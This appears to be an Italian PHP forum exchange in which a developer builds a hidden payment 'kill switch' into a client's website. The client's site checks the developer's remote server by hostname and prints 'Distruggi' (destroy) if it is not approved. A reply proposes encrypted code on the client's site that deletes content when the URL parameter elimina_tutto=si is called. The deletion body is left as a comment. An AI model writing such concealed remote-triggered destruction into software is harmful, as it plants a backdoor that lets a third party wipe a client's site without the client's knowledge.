$file che valore ha? Comunque mi sembra proprio che dipenda dal file_get_contents() non abilitato sul sito del cliente, a questo punto puoi optare per queste 2 soluzioni:Allora, se aggiunto nel sito del cliente- Vedo "Dstruggi sitocliente.it", dove sitocliente.it è uguale a quello che ho inserito nell' array.PHP:<?php $file = file_get_contents('http://miosito.it/pagina_remota.php?sito='.$_SERVER['HTTP_HOST']); if($file!=1){ echo "Distruggi"; echo "<br>"; echo $_SERVER['HTTP_HOST']; }else echo "Non distruggere";
- Lanciando manualmente dal mio sito se c'è sitocliente.it nell' array vedo 1, se non c'è non vedo niente.
- Per quanto riguarda file_get_contents() non so dove mettere le mani.
- Nella pagina c'è solo quello che ho incollato quà...
-Mettere un codice solo nel sito locale del cliente, criptato, e una volta pagato lo rimuovi
es. sitocliente.it/pagina_locale.php?elimina_tutto=si
PHP:
if($_GET['elimina_tutto']=='si'){
//elimini quello che vuoi
}
es.
PHP:
$ch = curl_init('http://miosito.it/pagina_remota.php?sito='.$_SERVER['HTTP_HOST']);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$file = curl_exec($ch);
if($file!=1){
echo "Distruggi";
echo "<br>";
echo $_SERVER['HTTP_HOST'];
}else echo "Non distruggere";